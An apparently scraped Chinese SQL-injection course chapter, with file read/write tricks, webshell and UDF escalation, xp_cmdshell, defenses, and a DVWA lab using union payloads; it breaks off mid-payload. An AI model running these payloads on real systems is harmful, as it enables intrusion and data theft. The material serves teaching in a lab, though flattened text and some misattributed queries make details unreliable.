假使沒有可用的易受攻擊字符串參數(shù),則可以使用與數(shù)字參數(shù)類似的技術(shù)。具體來講,需要一條針對特定技術(shù)的SQL語句,經(jīng)過計算后它能成為一個數(shù)字。下表中的所有表達式在正確的數(shù)據(jù)庫下經(jīng)過計算后都會成為整數(shù),而在其他數(shù)據(jù)庫下將產(chǎn)生一個錯誤表5-3從字符串推斷數(shù)據(jù)庫服務器版本數(shù)據(jù)庫服務器查詢MicrosoftSQLServerSELECT'some'+'string'MySQLSELECT'some''string'SELECTCONCAT('some','string')OracleSELECT'some'||'string'SELECTCONCAT('some','string')PostgreSQLSELECT'some'||'string'SELECTCONCAT('some','string')5.2項目實施流程數(shù)據(jù)庫服務器查詢MicrosoftSQLServer@@pack_received@@rowcountMySQLconnection_id()last_insert_id()row_count()OracleBITAND(1,1)PostgreSQLSELECTEXTRACT(DOWFROMNOW())最后,使用一些特定的SQL結(jié)構(gòu)(只適用于特定的SQL方言)也是一種有效技術(shù),在大多數(shù)情況下均能工作良好。例如,成功地注入WAITFORDELAY也可以很清楚地從側(cè)面反映出服務器端使用的是MicrosoftSQLServer。而成功注入SELECTpg_sleep(10)則是一個明顯的信號,說明服務器端使用的是PostgreSQL(版本至少是8.2)。如果是MySQL可以使用一個有趣的技巧來確定其準確版本。對MySQL可使用三種不同方法來包含注釋:1)在行尾加一個#字符。2)在行尾加一個“--”序列(不要忘記第二個連字符后面的空格)。3)在一個“/*”序列后再跟一個“*/”序列,位于兩者之間的即為注釋。5.2項目實施流程可對第三種方法做進一步調(diào)整:如果在注釋的開頭部分添加一個感嘆號并在后面跟上數(shù)據(jù)庫版本編號,那么該注釋將被解析成代碼,只要安裝的數(shù)據(jù)庫版本高于或等于注釋中包含的版本,代碼就會被執(zhí)行??聪旅鍹ySQL查詢:SELECT1/*!40119+1*/該查詢將返回下列結(jié)果:2(如果MySQL版本為4.01.19或更高版本)1(其他情況)5.2項目實施流程SQL注入可以直接使用SQL注入,也可以利用對文件讀寫時進行注入。下面介紹SQL注入中對文件讀寫的基本使用方法。(1)MySQL數(shù)據(jù)庫中對文件讀寫1)讀文件基本讀文件:selectload_file('c:/boot.ini')。用16進制代替字符串:selectload_file(0x633a2f626f6f742e696e69)。smb協(xié)議:selectload_file('//ecma.io/1.txt')。用于DNS隧道:selectload_file('\\\\ecma.io\\1.txt')。2)寫文件基本方法:select‘test’intooutfile'D:/1.txt'?;痉椒ǎ簊elect‘test’intodumpfile'D:/1.txt'。用十六進制代替字符串:select0x313233intooutfile'D:/1.txt'。用十六進制代替字符串:select0x313233intodumpfile'D:/1.txt'。利用SQL對文件讀寫

5.2項目實施流程。3)select……intooutfile與select……intodumpfile使用區(qū)別:在導出數(shù)據(jù)庫文件方面的區(qū)別:outfile函數(shù)可以導出多行,而dumpfile只能導出一行數(shù)據(jù)。outfile函數(shù)在將數(shù)據(jù)寫到文件時會有特殊的格式轉(zhuǎn)換,將數(shù)據(jù)表中的每行數(shù)據(jù)添加自動換行,即在行末尾添加新的換行符;而dumpfile則保持原數(shù)據(jù)格式,雖然只能導出部分數(shù)據(jù)。在寫入webshell或者udf下提權(quán)的區(qū)別:outfile對導出內(nèi)容中的\n、\r等特殊字符進行了轉(zhuǎn)義,并且在文件內(nèi)容的末尾增加了一個新行,因此會對可執(zhí)行二進制文件造成語法結(jié)構(gòu)上的破壞,不能被正確執(zhí)行。intodumpfile函數(shù)不對任何列或行進行終止,也不執(zhí)行任何轉(zhuǎn)義處理,在無web腳本執(zhí)行但是有MySQLroot執(zhí)行的環(huán)境下,可以通過intodumpfile函數(shù)導入udf.dll進行提權(quán),或者寫入木馬文件。outfile適合導出數(shù)據(jù)庫文件,dumpfile適合寫入可執(zhí)行文件。5.2項目實施流程SQLServer數(shù)據(jù)庫對文件讀寫1)讀文件BULKINSERT1:createtableresult(resvarchar(8000));2:bulkinsertresultfrom'd:/1.txt';CLR集成1://開啟CLR集成2:execsp_configure'showadvancedoptions',1;3:reconfigure;4:execsp_configure'clrenabled',15:reconfigureoutfile函數(shù)后面不能接0x開頭或char轉(zhuǎn)換后的路徑,只能是單引號路徑。這個問題在PHP注入中是非常麻煩的,因為會自動將單引號轉(zhuǎn)義成“\'”,基本就失去作用了。load_file后面的路徑中可以包含單引號、0x、char轉(zhuǎn)換的字符,但是路徑中的斜杠是“/”而不是“\”。5.2項目實施流程語句createassemblysqbfrom'd:\1.exe'withpermission_set=unsafe可以利用createassembly函數(shù)從遠程服務器加載任何.NET二進制文件到數(shù)據(jù)庫中,但它會驗證是否為合法的NET程序,從而導致失敗。語句selectmaster.dbo.fn_varbintohexstr(cast(contentasvarbinary))fromsys.assembly_files

是讀取方式。繞過驗證,首先要加載一個有效的.NET二進制文件,然后追加文件即可,下面是繞過方法:createassemblysqbfrom'd:\net.exe';alterassemblysqbaddfilefrom'd:\1.txt'alterassemblysqbaddfilefrom'd:\notnet.exe'

5.2項目實施流程通過OLEAutomation讀取文件,Script.FileSystemObject

方法示例如下:#開啟OleAutomationProceduressp_configure'showadvancedoptions',1;RECONFIGURE;sp_configure'OleAutomationProcedures',1;RECONFIGURE;declare@oint,@fint,@tint,@retintdeclare@linevarchar(8000)execsp_oacreate'scripting.filesystemobject',@ooutexecsp_oamethod@o,'opentextfile',@fout,'d:\1.txt',1exec@ret=sp_onmethod@f,'readline',@lineoutwhile(@ret=0)beginprint@lineexec@ret=sp_oamethod@f,'readline',@lineoutend5.2項目實施流程2)寫文件Script.FileSystemObject方法,案例如下:1:declare@oint,@fint,@tint,@retint2:declare@linevarchar(8000)3:execsp_oacreate'scripting.filesystemobject',@oout4:execsp_oamethod@o,'createtextfile',@fout,'e:\1.txt',15:exec@ret=sp_oamethod@f,'writeline',NULL,'Thisistheteststring’BCP復制文件,示例如下:c:\windows>system32>bcp"selectnamefromsysobjects"querytestout.txt-c-s-Usa-p"sa"xp_cmdshellexecxp_cmdshell'echotest>d:\1.txt'5.2項目實施流程Sqlmap注入軟件簡介Sqlmap是一款開源的、用于SQL注入漏洞檢測及利用的工具,它會檢測動態(tài)頁面中g(shù)et/post參數(shù)、cookie、http頭,進行數(shù)據(jù)榨取、文件系統(tǒng)訪問和操作系統(tǒng)命令執(zhí)行,另外還可以進行Xss漏洞檢測。它由python語言開發(fā)而成,因此運行需要安裝python環(huán)境。具體參數(shù)注釋與使用方法,可以參考下面兩個網(wǎng)址內(nèi)容:1)Sqlmap用戶手冊:/hongfei/p/3872156.html2)Sqlmap參數(shù)學習筆記:/ski_12/article/details/58188331

5.2項目實施流程防御SQL注入攻擊Web開發(fā)人員認為SQL查詢請求是可以信賴的操作,但事實恰恰相反,他們沒有考慮用戶或攻擊者可以控制這些查詢請求的參數(shù),并且可以在其中輸入符合語法的SQL命令。解決SQL注入攻擊的方法歸結(jié)為對特殊字符的過濾,包括URL、表格域,以及用戶可以控制的任何輸入數(shù)據(jù)。與SQL語法相關(guān)的特殊字符及保留字應當在查詢請求提交到數(shù)據(jù)庫之前被過濾或被去除(如跟在反斜杠后面的單引號)。過濾操作最好在服務器上進行。將過濾操作代碼插入客戶端執(zhí)行的HTML中是不明智的,因為攻擊者可以修改驗證程序。防止破壞的唯一途徑就是在服務器上執(zhí)行過濾操作。避免SQL注入攻擊更加可靠的方式是使用存儲過程。具體可以通過以下方法來防御SQL注入攻擊。

5.2項目實施流程(1)對前臺傳入?yún)?shù)按照數(shù)據(jù)類型進行嚴格匹配(如查看描述數(shù)據(jù)類型的變量字符串中是否存在字母)。(2)對于單一變量,如果有必要,應過濾或替換輸入數(shù)據(jù)中的空格。(3)將一個單引號(“'”)替換成兩個連續(xù)的單引號(“''”)。(4)限制輸入數(shù)據(jù)的有效字符種類,排除對數(shù)據(jù)庫操作有特殊意義的字符(如“--”)。(5)限制表單或查詢字符串輸入的長度。(6)用存儲過程來執(zhí)行所有的查詢。(7)檢查提取數(shù)據(jù)的查詢所返回的記錄數(shù)量。如果程序只要求返回一個記錄,但實際返回的記錄卻超過一行,那就作為錯誤處理。(8)將用戶登錄名稱、密碼等數(shù)據(jù)加密保存。加密用戶輸入的數(shù)據(jù),然后將它與數(shù)據(jù)庫中保存的數(shù)據(jù)進行比較,這相當于對用戶輸入的數(shù)據(jù)進行了殺毒處理,用戶輸入的數(shù)據(jù)不再對數(shù)據(jù)庫有任何特殊的意義,也就阻止了攻擊者注入SQL命令。5.2項目實施流程總而言之,就是要盡可能地限制用戶可以存取的數(shù)據(jù)總數(shù)。另外,對用戶要按“最小特權(quán)”安全原則分配權(quán)限,即使發(fā)生了SQL注入攻擊,結(jié)果也被限制在那些可以被正常訪問到的數(shù)據(jù)中。

5.3項目小結(jié)通過前一節(jié)的項目分析,介紹了SQL注入實施攻擊的步驟和原理。SQL注入的本質(zhì)是惡意攻擊者將SQL代碼插入或添加到程序的參數(shù)中,而程序并沒有對傳入的參數(shù)進行正確處理,導致參數(shù)中的數(shù)據(jù)會被當做代碼來執(zhí)行,并最終將執(zhí)行結(jié)果返回給攻擊者。利用SQL注入漏洞,攻擊者可以操縱數(shù)據(jù)庫的數(shù)據(jù),如得到數(shù)據(jù)庫中的機密數(shù)據(jù)、隨意更改數(shù)據(jù)庫中的數(shù)據(jù)、刪除數(shù)據(jù)庫等等,在得到一定權(quán)限后還可以掛馬,甚至得到整臺服務器的管理員權(quán)限。由于SQL注入是通過網(wǎng)站正常端口(通常為80端口)來提交惡意SQL語句,表面上看起來和正常訪問網(wǎng)站沒有區(qū)別,如果不仔細查看WEB日志很難發(fā)現(xiàn)此類攻擊,隱蔽性非常高。一旦程序出現(xiàn)SQL注入漏洞,危害相當大,所以我們對此應該給予足夠的重視。本項目完成后,需要提交項目總結(jié)內(nèi)容清單如下所示:5.3項目小結(jié)需要提交項目總結(jié)內(nèi)容清單序號清單項名稱備注1項目準備說明包括人員分工、實驗環(huán)境搭建、材料工具等,2項目需求分析內(nèi)容包括介紹SQL注入攻擊的主要步驟和一般流程;分析SQL注入攻擊的主要原理、常見攻擊工具的分類和特點。3項目實施過程內(nèi)容包括實施過程,具體配置步驟4項目結(jié)果展示內(nèi)容包括對目標系統(tǒng)實施SQL注入攻擊和加固的結(jié)果,可以以截圖或錄屏的方式提供項目結(jié)果。5.4項目訓練5.4.1實驗環(huán)境本項目的實驗環(huán)境安裝在WindowsXP虛擬機中,使用Python2.7、DVWA1.9、XAMPP搭建。還要使用“中國菜刀”、BurpSuite、sqlmap等工具,安裝文件有burpsuite_pro_v1.7.03、jre-8u111-windows-i586_8.0.1110.14、Firefox_152_setup。在本實驗中使用物理機作為攻擊機,虛擬機作為靶機。5.4項目訓練5.4.2任務1利用簡單的SQL注入分析攻擊原理在任務1中主要里利用DVWA實驗平臺分析命令注入漏洞攻擊原理。1、打開靶機虛擬機,在虛擬機中打開桌面上的xampp程序確保Apache服務器與數(shù)據(jù)庫MySQL處于運行狀態(tài),如下圖所示:5.4項目訓練2.查看靶機IP地址。開啟DOS窗口,運行ipconfig命令,查看當前靶機IP地址如下圖所示:5.4項目訓練3、在攻擊機中打開瀏覽器輸入靶機的ip地址,因為我們是在DVWA平臺中進行滲透測試,因此完整的路徑為靶機ip地址+dvwa,具體為“31/dvwa/login.php”,在滲透平臺中需要使用用戶名與密碼登錄,默認賬號為用戶名:admin;密碼:password。如下圖所示:5.4項目訓練4、在登錄平臺后可以看到如下圖所示界面,在左側(cè)列表中選擇DVWASecurity設(shè)置平臺的安全級別,在本次實驗中主要是利用SQL攻擊分析漏洞存在原理,因此設(shè)置安全級別為“l(fā)ow”然后提交。5.4項目訓練5、在圖所示中,選擇左側(cè)列表中的SQLInjection,進行SQL注入實驗。在下圖所示實驗環(huán)境中,進行正常的數(shù)據(jù)輸入。根據(jù)環(huán)境提示,需要輸入userID,在文本框中輸入數(shù)字“1”,然后提交,返回結(jié)果如下圖所示。能夠正常返回userID為1的Firstname與Surname的值。5.4項目訓練6、反復測試,查看輸入錯誤數(shù)據(jù)時系統(tǒng)會返回怎樣的信息,通過返回信息分析系統(tǒng)可能存在的漏洞類型、數(shù)據(jù)庫類型等。在使用合法數(shù)據(jù)測試的過程中,發(fā)現(xiàn)輸入“6”時可以返回正常結(jié)果,輸入“7”時沒有任何數(shù)據(jù)返回,如圖所示,輸入非數(shù)字值(如“m”)時也沒有任何數(shù)據(jù)返回。7、通過上面數(shù)據(jù)輸入與返回結(jié)果,可以分析出,在數(shù)據(jù)獲取方法中使用的是select語句,即所謂的選擇性注入類型,數(shù)據(jù)正確時返回數(shù)據(jù),錯誤數(shù)據(jù)無返回值。5.4項目訓練8、通過前面的分析發(fā)現(xiàn)獲取的數(shù)據(jù)利用價值不大,因此需要進一步測試。第一步要測試是否存在注入漏洞,第二步要測試注入類型是數(shù)值型還是字符型。在“UserID”文本框中輸入“1'”,這是明顯的錯誤數(shù)據(jù),查看返回結(jié)果是否有利用價值。返回結(jié)果如圖5-11所示。5.4項目訓練9、分析上面的返回結(jié)果,得到3條信息。第一,數(shù)據(jù)庫類型為MySQL數(shù)據(jù)庫,具體的數(shù)據(jù)庫版本需要進一步測試;第二,此文本框中的數(shù)據(jù)在SQL語句處理中為字符型數(shù)據(jù),“1'”存在的錯誤為缺少了一個單引號,造成語法錯誤,具體是不是存在字符型注入漏洞需要進一步測試;第三,該返回結(jié)果為MySQL數(shù)據(jù)庫的錯誤代碼,在系統(tǒng)中可能調(diào)用了mysql_error()函數(shù)。10、進一步判斷是否存在SQL注入漏洞,以及注入類型,userID中輸入SQL注入語句“1or1=1”,查看返回結(jié)果,如下圖(5-12)所示。在該返回值中可以看出,存在注入漏洞,但不是數(shù)值型的,需要進一步測試。11、在userID中輸入“1’or‘1’=’1”,并提交,查看返回值如圖(5-13)所示,由該返回結(jié)果可以確定存在字符型注入漏洞。5.4項目訓練12、由圖5-13返回結(jié)果可以確定存在字符型SQL注入漏洞,通過源碼分析上面注入代碼分析注入原理,該功能處理函數(shù)源代碼如下所示5.4項目訓練<?phpif(

isset(

$_REQUEST['Submit']

)

)

{

$id

=

$_REQUEST['id'];//

獲取?id?的值

//

連接數(shù)據(jù)庫,篩選數(shù)據(jù)

$query

=

"SELECT

first_name,

last_name

FROM

users

WHERE

user_id

='$id';";

$result

=mysql_query($query)

or

die('<pre>'.

mysql_error().'</pre>');

//

Get

results

$num

=

mysql_numrows(

$result

);

$i

=

0;

while(

$i

<

$num

)

{

//

Get

values

$first

=

mysql_result(

$result,

$i,

"first_name"

);

$last

=

mysql_result(

$result,

$i,

"last_name"

);

//

Feedback

for

end

user

echo

"<pre>ID:

{$id}<br

/>First

name:

{$first}<br

/>Surname:

{$last}</pre>";

//

Increase

loop

count

$i++;

}

mysql_close();}?>5.4項目訓練通過上述源碼可以看到,在從頁面中通過request方法獲取到id的之后,沒有對獲取到的值做任何處理,直接在SQL命令語句中進行使用。如果存在正確的數(shù)據(jù)輸入,如果存在查詢結(jié)果,將結(jié)果返回;如果查詢不到結(jié)果,將不返回結(jié)果。如果SQL命令語句存在錯誤,將使用mysql_error()函數(shù),進行錯誤處理。使用注入值替換id的值,分析SQL命令語句的語法結(jié)構(gòu)。注入“1”時,SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id'中$id的值為1,替換后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1',這是不存在語法錯誤的命令語句。當注入的值為“1'”時,替換后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'',可以看到在語句中有3個單引號,無法滿足單引號閉合,因此出現(xiàn)命令語句語法錯誤。5.4項目訓練SQL注入的語句要滿足基本的語法規(guī)則,因此,存在字符型SQL注入漏洞的地方需要進行注入語句構(gòu)造以滿足單引號閉合。再次分析WHEREuser_id='$id'部分,為了能夠讓SQL語句執(zhí)行,只要WHERE部分的值為真值即可。需要注意的是'$id',在$id前后分別有一個單引號,因此在輸入的數(shù)值前要有一個單引號,數(shù)值后也要有一個單引號。在構(gòu)造注入語句時需要使前、后兩個單引號完成閉合。輸入“1'”,可以使數(shù)據(jù)1完成與前面單引號的閉合,然后構(gòu)造語句使WHERE為真值。在or條件表達式中,只要有一個值為真值,整個條件表達式就為真值。因此,選擇使用or構(gòu)造真值,真值的構(gòu)造為nor1=1,不管n是否為真,整體都為真值。構(gòu)造字符型條件為or'1'='1,后面一個1只有前面的單引號是因為原來的語句中還存在一個后面的單引號,因此需要構(gòu)造兩個單引號實現(xiàn)閉合。所以id值為1'or'1'='1,在SQL語句中用注入語句替換$id后為SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'or'1'='1',構(gòu)造后的SQL注入語句WHERE條件為真值,因此將數(shù)據(jù)庫中的所有first_name和last_name都篩選出來,上述SQL語句的功能等同于SELECTfirst_name,last_nameFROMusers。5.4項目訓練通過上面SQL注入的原理分析可以得到,系統(tǒng)中存在注入點,構(gòu)造的注入語句要符合兩個條件:第一要滿足符號閉合;第二要構(gòu)造真值,或者構(gòu)造可執(zhí)行命令語句。在構(gòu)造閉合時,除可以使用前、后單引號外,還可以使用SQL語句的單行注釋符號“#”,在構(gòu)造好可執(zhí)行語句后加上一個單行注釋符號,將后面的代碼全部注釋掉。使用單行注釋符號后的注入返回結(jié)果如圖5-14、圖5-15所示。5.4項目訓練5.4.3任務2利用PHP程序搜索實現(xiàn)對MySQL數(shù)據(jù)庫的注入在5.2節(jié)的實驗中,我們已經(jīng)判斷出當前實驗環(huán)境中的數(shù)據(jù)庫為MySQL數(shù)據(jù)庫。在后續(xù)實驗步驟中,可以選擇適用于MySQL數(shù)據(jù)庫的方法與函數(shù)進行注入。設(shè)置實驗環(huán)境與注入判斷在5.2節(jié)中有詳細步驟,本節(jié)不再贅述。不同類型的數(shù)據(jù)庫,具有不同的查詢數(shù)據(jù)表的方法。在Oracle語句中,列舉當前用戶可訪問的所有表:SELECTOWNER,TABLE_NAMEFROMALL_TABLESORDERBYTABLE_NAME;在MySQL語句中,列舉當前用戶可訪問的所有表和數(shù)據(jù)庫:SELECTtable_schema,table_namefrominformation_schema.tables;5.4項目訓練在MySQL語句中,使用系統(tǒng)列舉所有可訪問的表:SELECTnamefromsysobjectswherextype='u';在MySQL語句中,使用目錄視圖列舉所有可訪問的表:SELECTnamefromsys.tables;本實驗可使用聯(lián)合查詢語句,查詢用戶可訪問的所有數(shù)據(jù)庫、數(shù)據(jù)表。注入語句為“1'unionselecttable_schemafrominformation_schema.tables#”,提交后返回結(jié)果如圖所示5.4項目訓練分析返回結(jié)果,輸入的“union”后的select語句出現(xiàn)錯誤,錯誤的原因是列數(shù)不同。分析聯(lián)合查詢的使用方法“select列數(shù)1unionselect列數(shù)2”,可以發(fā)現(xiàn)聯(lián)合查詢要能夠正確執(zhí)行命令語句,需要列數(shù)1與列數(shù)2相同。通過分析可以得到,插入的聯(lián)合注入語句,只有一列“table_schema”數(shù)據(jù)庫名,union前的查詢是兩列,因此列數(shù)不同,造成語句不能被正確執(zhí)行。為了使注入語句能夠被正確執(zhí)行,需要構(gòu)造相同的列數(shù),在此可以使用一些數(shù)字作為列名,沒有實際意義,如數(shù)字“1”,也可以使用其他數(shù)字。注入語句為“1'unionselect1,table_schemafrominformation_schema.tables#”,提交后返回結(jié)果如圖所示。5.4項目訓練由上圖的返回結(jié)果可以獲取當前靶機服務器中的所有數(shù)據(jù)庫,關(guān)于information_schema的含義與使用方法可參考前面的基礎(chǔ)知識。該注入代碼的含義是從服務器中篩選出所有的數(shù)據(jù)庫“table_schema”。從返回結(jié)果可以看出靶機服務器中存在7個數(shù)據(jù)庫,在這里可以自行破解當前數(shù)據(jù)庫,也可以逐個破解數(shù)據(jù)表,還可以將所有數(shù)據(jù)表列出來。。如果希望將靶機服務器中的數(shù)據(jù)表都列出來,可以使用注入語句“1'unionselect1,table_namefrominformation_schema.tables#”,提交后得到如圖所示的結(jié)果。5.4項目訓練列出了當前靶機服務器中的所有數(shù)據(jù)表(圖中未顯示完全)。要從如此多的數(shù)據(jù)表中篩選出感興趣的數(shù)據(jù)表難度較大,可以通過數(shù)據(jù)表的名稱推測數(shù)據(jù)表的具體功能。注入語句中的“table_name”為數(shù)據(jù)表名稱。5.4項目訓練統(tǒng)計一下當前數(shù)據(jù)庫中共有多少個數(shù)據(jù)表。使用注入語句“1'unionselect1,count(table_name)frominformation_schema.tables#”,在注入語句中使用count()函數(shù)統(tǒng)計數(shù)據(jù)表的個數(shù),提交后返回結(jié)果如圖所示由圖可以看出,靶機服務器中共有94個數(shù)據(jù)表。結(jié)合前面獲取的內(nèi)容,可以得到當前靶機服務器中有7個數(shù)據(jù)庫和94個數(shù)據(jù)表。需要處理的數(shù)據(jù)較多,是否可以統(tǒng)計出每個數(shù)據(jù)庫分別包含哪些數(shù)據(jù)表呢?答案是肯定的,可以使用注入語句“1'unionselecttable_schema,table_namefrominformation_schema.tables#”,獲取每個數(shù)據(jù)庫中的數(shù)據(jù)表。雖然獲取了不同數(shù)據(jù)庫中的數(shù)據(jù)表,但還是不能獲取當前使用的數(shù)據(jù)庫。5.4項目訓練在MySQL中,database()函數(shù)用于獲取當前使用的數(shù)據(jù)庫,使用注入語句“1'unionselect1,database()frominformation_schema.tables#”,獲取當前使用的數(shù)據(jù)庫,提交后返回結(jié)果如圖所示5.4項目訓練由圖5-20可以看出當前數(shù)據(jù)庫為“dvwa”。為了順利執(zhí)行注入語句,要知道當前用戶的權(quán)限。在MySQL中,user()函數(shù)用于獲取當前用戶,注入語句為“1'unionselectuser(),database()#”,提交后返回結(jié)果如圖5-21所示,由返回結(jié)果可以看出用戶為“root@localhost”,具有完全控制權(quán)限。5.4項目訓練10、獲取到了數(shù)據(jù)庫,也獲取到了數(shù)據(jù)庫權(quán)限,可以進一步暴出數(shù)據(jù)庫中的數(shù)據(jù)表,使用注入語句“1'unionselect1,table_namefrominformation_schema.tableswheretable_schema='dvwa'#”;將dvwa庫中的數(shù)據(jù)表暴出,如下圖所示:使用group_concat()與concat()兩個函數(shù)的目的是將獲取的多列數(shù)據(jù)合并為一列,以滿足聯(lián)合查詢時對列數(shù)限制。在上面的注入操作中,因不知道dvwa庫中多少個表,因此可以將,多個表合并為一列,以滿足兩列限制。從上面返回結(jié)果可以看到數(shù)字1為一列,guestbook,users為第二列。5.4項目訓練11、實驗到現(xiàn)在為止,都是在為暴數(shù)據(jù)做信息收集。下一步就是將dvwa數(shù)據(jù)庫中users數(shù)據(jù)表中的數(shù)據(jù)進行暴庫,在具體暴庫前,需要搜集的最后一個信息,就是將數(shù)據(jù)表中的列字段進行暴破。爆破列字段可以使用注入語句“1'union

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論